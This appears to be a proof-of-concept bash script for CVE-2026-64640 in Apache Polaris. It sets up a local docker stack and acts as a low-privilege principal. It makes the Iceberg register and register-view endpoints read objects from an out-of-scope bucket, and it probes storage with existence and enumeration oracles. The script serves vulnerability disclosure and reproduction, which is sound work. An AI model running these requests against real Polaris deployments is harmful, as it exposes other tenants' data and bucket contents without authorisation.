#!/usr/bin/env bash # # CVE-2026-64640 — Apache Polaris # Iceberg REST `register` vends storage credentials and performs a privileged # server-side read of an attacker-controlled location BEFORE validating that # location against the catalog's allowedLocations. # # This script brings up a self-contained Polaris + S3 stack, then acts as a # low-privilege principal (CATALOG_MANAGE_CONTENT on its own catalog only) and # makes Polaris read objects out of a bucket that catalog is not allowed to # touch. # # Everything is local: one docker compose project, one loopback S3 endpoint. # No external network contact, no data leaves the machine, no persistent state # outside the compose project (removed with `down -v` unless --keep is given). # # Exit codes: # 0 vulnerability reproduced # 1 not reproduced (patched build, or behaviour changed) # 2 environment / setup error # set -euo pipefail HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" # shellcheck source=scripts/lib.sh source "$HERE/scripts/lib.sh" # ------------------------------------------------------------------ constants PROJECT="${COMPOSE_PROJECT_NAME:-cve-2026-64640}" POLARIS_IMAGE_TAG="${POLARIS_IMAGE_TAG:-1.4.1}" BASE="http://localhost:${POLARIS_API_PORT:-8181}" NAMESPACE="tenant_a_ns" # The catalog's ONLY allowedLocation is s3://bucket123. IN_SCOPE_BUCKET="s3://bucket123" OUT_OF_SCOPE_BUCKET="s3://tenant-b-private" VICTIM_OBJECT="$OUT_OF_SCOPE_BUCKET/sales/metadata/00007-tenant-b-sales.metadata.json" VICTIM_MISSING="$OUT_OF_SCOPE_BUCKET/sales/metadata/00042-does-not-exist.metadata.json" CONTROL_MISSING="$IN_SCOPE_BUCKET/probe/00042-does-not-exist.metadata.json" NON_METADATA_OBJECT="$OUT_OF_SCOPE_BUCKET/secrets/tenant-b-db.metadata.json" ABSENT_BUCKET_OBJECT="s3://no-such-bucket-64640/probe/v1.metadata.json" VICTIM_VIEW_OBJECT="$OUT_OF_SCOPE_BUCKET/views/metadata/00003-tenant-b-view.metadata.json" # Strings that exist ONLY inside the victim documents. Neither is derivable from # the request: the requests name .../sales/metadata/00007-...json and # .../views/metadata/00003-...json, while these live in the "location" fields of # the file bodies. CANARY="CANARY-64640-4f1c9e2a-tenant-b-sales" CANARY_VIEW="CANARY-64640-VIEW-8d3b7a15-tenant-b" KEEP=0 DO_UP=1 usage() { cat </dev/null 2>&1 || true rm -f "$HERE/.run/creds.env" "$HERE/.run/setup-done" 2>/dev/null || true fi exit $rc } # ------------------------------------------------------------------ preflight need docker; need curl; need python3 docker compose version >/dev/null 2>&1 || die "docker compose v2 plugin is required" mkdir -p "$EVIDENCE_DIR" "$HERE/.run" cat </dev/null || true compose down -v >/dev/null 2>&1 || true if ! compose up -d --wait >"$EVIDENCE_DIR/compose-up.log" 2>&1; then err "stack failed to start; see $EVIDENCE_DIR/compose-up.log" compose ps >>"$EVIDENCE_DIR/compose-up.log" 2>&1 || true compose logs --no-color >>"$EVIDENCE_DIR/compose-up.log" 2>&1 || true die "environment setup failed" fi compose logs --no-color polaris-setup >"$EVIDENCE_DIR/setup.log" 2>&1 || true ok "stack is up" fi [[ -f "$HERE/.run/creds.env" ]] || die "missing .run/creds.env (setup did not complete)" # shellcheck disable=SC1091 source "$HERE/.run/creds.env" : "${ATTACKER_CLIENT_ID:?}" "${ATTACKER_CLIENT_SECRET:?}" "${CATALOG_NAME:?}" "${REALM:?}" ok "attacker principal: $ATTACKER_CLIENT_ID (CATALOG_MANAGE_CONTENT on $CATALOG_NAME)" # ------------------------------------------------------------------ auth step "Authenticate as the low-privilege principal" TOKEN_JSON=$(curl -sS -X POST "$BASE/api/catalog/v1/oauth/tokens" \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d "grant_type=client_credentials&client_id=${ATTACKER_CLIENT_ID}&client_secret=${ATTACKER_CLIENT_SECRET}&scope=PRINCIPAL_ROLE:ALL") TOKEN=$(json_get "$TOKEN_JSON" 'd["access_token"]') || die "token request failed: $TOKEN_JSON" [[ -n "$TOKEN" ]] || die "empty access token: $TOKEN_JSON" ok "got a bearer token for the non-admin principal" # Sanity: this principal is not a service admin. http GET "$BASE/api/management/v1/principals" "$TOKEN" printf 'GET /api/management/v1/principals -> HTTP %s\n%s\n' "$HTTP_CODE" "$HTTP_BODY" \ >"$EVIDENCE_DIR/00-privilege-check.txt" if [[ "$HTTP_CODE" == "403" || "$HTTP_CODE" == "401" ]]; then ok "confirmed non-admin: service admin API denied (HTTP $HTTP_CODE)" else warn "service admin API returned HTTP $HTTP_CODE (expected 403) — check the environment" fi log "Creating a namespace the attacker legitimately owns..." http POST "$BASE/api/catalog/v1/$CATALOG_NAME/namespaces" "$TOKEN" \ "{\"namespace\":[\"$NAMESPACE\"],\"properties\":{}}" [[ "$HTTP_CODE" =~ ^(200|409)$ ]] || die "could not create namespace (HTTP $HTTP_CODE): $HTTP_BODY" ok "namespace $NAMESPACE ready" register() { # register local name="$1" loc="$2" file="$3" http POST "$BASE/api/catalog/v1/$CATALOG_NAME/namespaces/$NAMESPACE/register" "$TOKEN" \ "{\"name\":\"$name\",\"metadata-location\":\"$loc\"}" { printf 'POST /api/catalog/v1/%s/namespaces/%s/register\n' "$CATALOG_NAME" "$NAMESPACE" printf 'Authorization: Bearer \n\n' "$ATTACKER_CLIENT_ID" printf '{"name":"%s","metadata-location":"%s"}\n\n' "$name" "$loc" printf -- '--> HTTP %s\n%s\n' "$HTTP_CODE" "$HTTP_BODY" } >"$EVIDENCE_DIR/$file" dim " HTTP $HTTP_CODE $HTTP_BODY" } VULN_PRIMARY=0; VULN_ORACLE=0; VULN_ENUM=0; VULN_VIEW=0; VIEW_ENDPOINT="absent" # ------------------------------------------------------------------ test 0 step "Test 0 — control: the allowedLocations wall works on the normal path" log "createTable with an explicit location in $OUT_OF_SCOPE_BUCKET (should be refused outright)" http POST "$BASE/api/catalog/v1/$CATALOG_NAME/namespaces/$NAMESPACE/tables" "$TOKEN" \ "{\"name\":\"control_direct\",\"location\":\"$OUT_OF_SCOPE_BUCKET/sales\",\"schema\":{\"type\":\"struct\",\"schema-id\":0,\"fields\":[{\"id\":1,\"name\":\"c\",\"required\":false,\"type\":\"long\"}]}}" T0_CODE="$HTTP_CODE" { printf 'POST /api/catalog/v1/%s/namespaces/%s/tables (explicit out-of-scope location)\n\n' \ "$CATALOG_NAME" "$NAMESPACE" printf -- '--> HTTP %s\n%s\n' "$HTTP_CODE" "$HTTP_BODY" } >"$EVIDENCE_DIR/00-control-direct-create.txt" dim " HTTP $T0_CODE $HTTP_BODY" if [[ "$T0_CODE" == "403" ]]; then ok "denied — so Polaris does know this location is out of bounds for this principal" else warn "expected 403, got $T0_CODE" fi # ------------------------------------------------------------------ test 1 step "Test 1 — server-side read of an out-of-scope object (canary proof)" log "register metadata-location = $VICTIM_OBJECT" dim " (bucket is outside allowedLocations; attacker has no grant on it)" register "pwn_canary" "$VICTIM_OBJECT" "01-canary-out-of-scope.txt" T1_CODE="$HTTP_CODE"; T1_BODY="$HTTP_BODY" if grep -qF "$CANARY" <<<"$T1_BODY"; then VULN_PRIMARY=1 ok "the response contains '$CANARY'" ok "that string exists ONLY inside the body of the out-of-scope object" ok "=> Polaris fetched and parsed it server-side with the catalog's credentials" else warn "canary not reflected" fi # ------------------------------------------------------------------ test 2 step "Test 2 — what leaked out of the document" LEAKED=() for s in "$CANARY" "s3://tenant-b-private/warehouse/sales/data"; do grep -qF "$s" <<<"$T1_BODY" && LEAKED+=("$s") done { printf 'Strings present ONLY inside %s\nthat came back in the register response:\n\n' "$VICTIM_OBJECT" printf ' %s\n' "${LEAKED[@]}" printf '\nSource document:\n' cat "$HERE/victim-data/00007-tenant-b-sales.metadata.json" } >"$EVIDENCE_DIR/02-leaked-fields.txt" if [[ ${#LEAKED[@]} -gt 0 ]]; then for s in "${LEAKED[@]}"; do ok "leaked: $s"; done dim " (the table's declared location, and the write.data.path property —" dim " both parsed out of the victim's document by Polaris)" else warn "no victim-document strings observed in the response" fi # ------------------------------------------------------------------ test 3 step "Test 3 — storage enumeration oracle outside allowedLocations" dim " If allowedLocations were checked first, every probe below would fail" dim " identically and Polaris would never contact storage at all." log "probe A: key MISSING, out-of-scope bucket" register "probe_missing_oos" "$VICTIM_MISSING" "03a-oracle-missing-key.txt" T2_CODE="$HTTP_CODE"; T2_BODY="$HTTP_BODY" log "probe B: bucket DOES NOT EXIST" register "probe_no_bucket" "$ABSENT_BUCKET_OBJECT" "03b-oracle-missing-bucket.txt" T4_CODE="$HTTP_CODE"; T4_BODY="$HTTP_BODY" log "probe C: object EXISTS out-of-scope but is not Iceberg metadata" register "probe_not_metadata" "$NON_METADATA_OBJECT" "03c-oracle-not-metadata.txt" T5_CODE="$HTTP_CODE"; T5_BODY="$HTTP_BODY" log "probe D: control — key MISSING inside allowedLocations" register "probe_missing_control" "$CONTROL_MISSING" "03d-control-in-scope-missing.txt" T3_CODE="$HTTP_CODE"; T3_BODY="$HTTP_BODY" if grep -qiE "does not exist|not found|nosuchkey" <<<"$T2_BODY"; then VULN_ORACLE=1 ok "missing key answered with a storage-level 'does not exist' (HTTP $T2_CODE)" ok "=> Polaris really performed the GET against ${OUT_OF_SCOPE_BUCKET}" else warn "no storage-level 'does not exist' for the out-of-scope key (HTTP $T2_CODE)" fi if grep -qiE "bucket does not exist|nosuchbucket" <<<"$T4_BODY"; then VULN_ENUM=1 ok "non-existent bucket answered with the raw S3 'bucket does not exist' error" ok "=> bucket-namespace probing with the catalog's credentials" fi etype() { json_get "$1" 'd["error"]["type"]' || echo "?"; } { printf 'Outcome per probe for one low-privilege caller (all targets OUTSIDE allowedLocations\n' printf 'except the last). Distinct answers == the request reached storage.\n\n' printf ' %-34s HTTP %-4s %s\n' "valid Iceberg metadata (exists)" "$T1_CODE" "$(etype "$T1_BODY")" printf ' %-34s HTTP %-4s %s\n' "key missing" "$T2_CODE" "$(etype "$T2_BODY")" printf ' %-34s HTTP %-4s %s\n' "bucket missing" "$T4_CODE" "$(etype "$T4_BODY")" printf ' %-34s HTTP %-4s %s\n' "exists, not Iceberg metadata" "$T5_CODE" "$(etype "$T5_BODY")" printf ' %-34s HTTP %-4s %s\n' "control: in-scope key missing" "$T3_CODE" "$(etype "$T3_BODY")" printf '\nA build that validates before vending answers every row identically\n' printf '(ForbiddenException naming only the requested path).\n' } | tee "$EVIDENCE_DIR/03-oracle-matrix.txt" # ------------------------------------------------------------------ test 4 step "Test 4 — the same flaw on the sibling endpoint: register-view" dim " POST .../namespaces/{ns}/register-view exists from 1.6.0 onwards." dim " 1.6.0 fixed the table path and shipped the view path with the same ordering." log "register-view metadata-location = $VICTIM_VIEW_OBJECT" http POST "$BASE/api/catalog/v1/$CATALOG_NAME/namespaces/$NAMESPACE/register-view" "$TOKEN" \ "{\"name\":\"pwn_view\",\"metadata-location\":\"$VICTIM_VIEW_OBJECT\"}" T6_CODE="$HTTP_CODE"; T6_BODY="$HTTP_BODY" { printf 'POST /api/catalog/v1/%s/namespaces/%s/register-view\n\n' "$CATALOG_NAME" "$NAMESPACE" printf '{"name":"pwn_view","metadata-location":"%s"}\n\n' "$VICTIM_VIEW_OBJECT" printf -- '--> HTTP %s\n%s\n' "$T6_CODE" "$T6_BODY" } >"$EVIDENCE_DIR/04-register-view.txt" dim " HTTP $T6_CODE $T6_BODY" if [[ "$T6_CODE" == "404" || "$T6_CODE" == "405" ]] && ! grep -qiE "namespace|table|view does not exist" <<<"$T6_BODY"; then VIEW_ENDPOINT="absent" dim " endpoint not present in this release — nothing to test here" else VIEW_ENDPOINT="present" if grep -qF "$CANARY_VIEW" <<<"$T6_BODY"; then VULN_VIEW=1 ok "the response contains '$CANARY_VIEW'" ok "=> register-view read and parsed the out-of-scope view document too" else ok "no view canary reflected — this endpoint validates before vending" fi fi # ------------------------------------------------------------------ verdict step "Result" SUMMARY_JSON=$(python3 - "$POLARIS_IMAGE_TAG" "$VULN_PRIMARY" "$VULN_ORACLE" "$VULN_ENUM" \ "$T0_CODE" "$T1_CODE" "$T2_CODE" "$T3_CODE" "$T4_CODE" "$T5_CODE" "$T6_CODE" \ "$VULN_VIEW" "$VIEW_ENDPOINT" "${LEAKED[*]:-}" <<'PY' import json, sys (tag, prim, oracle, enum, c0, c1, c2, c3, c4, c5, c6, view, view_ep, leaked) = sys.argv[1:15] print(json.dumps({ "cve": "CVE-2026-64640", "component": "Apache Polaris — Iceberg register / register-view", "image": f"apache/polaris:{tag}", "vulnerable": prim == "1" or view == "1", "surfaces": { "register_table": "vulnerable" if prim == "1" else "validated before vending", "register_view": ("vulnerable" if view == "1" else "validated before vending" if view_ep == "present" else "endpoint not present in this release"), }, "signals": { "canary_reflected_from_out_of_scope_table_metadata": prim == "1", "canary_reflected_from_out_of_scope_view_metadata": view == "1", "out_of_scope_object_existence_oracle": oracle == "1", "out_of_scope_bucket_existence_oracle": enum == "1", }, "leaked_strings_from_victim_document": leaked.split() if leaked else [], "http": { "control_direct_create_out_of_scope": c0, "register_out_of_scope_existing": c1, "register_out_of_scope_missing_key": c2, "register_in_scope_missing_key": c3, "register_absent_bucket": c4, "register_out_of_scope_non_metadata": c5, "register_view_out_of_scope_existing": c6, }, }, indent=2)) PY ) printf '%s\n' "$SUMMARY_JSON" >"$EVIDENCE_DIR/summary.json" cp "$HERE/victim-data/00007-tenant-b-sales.metadata.json" "$EVIDENCE_DIR/planted-victim-object.json" if [[ $VULN_PRIMARY -eq 1 || $VULN_VIEW -eq 1 ]]; then cat <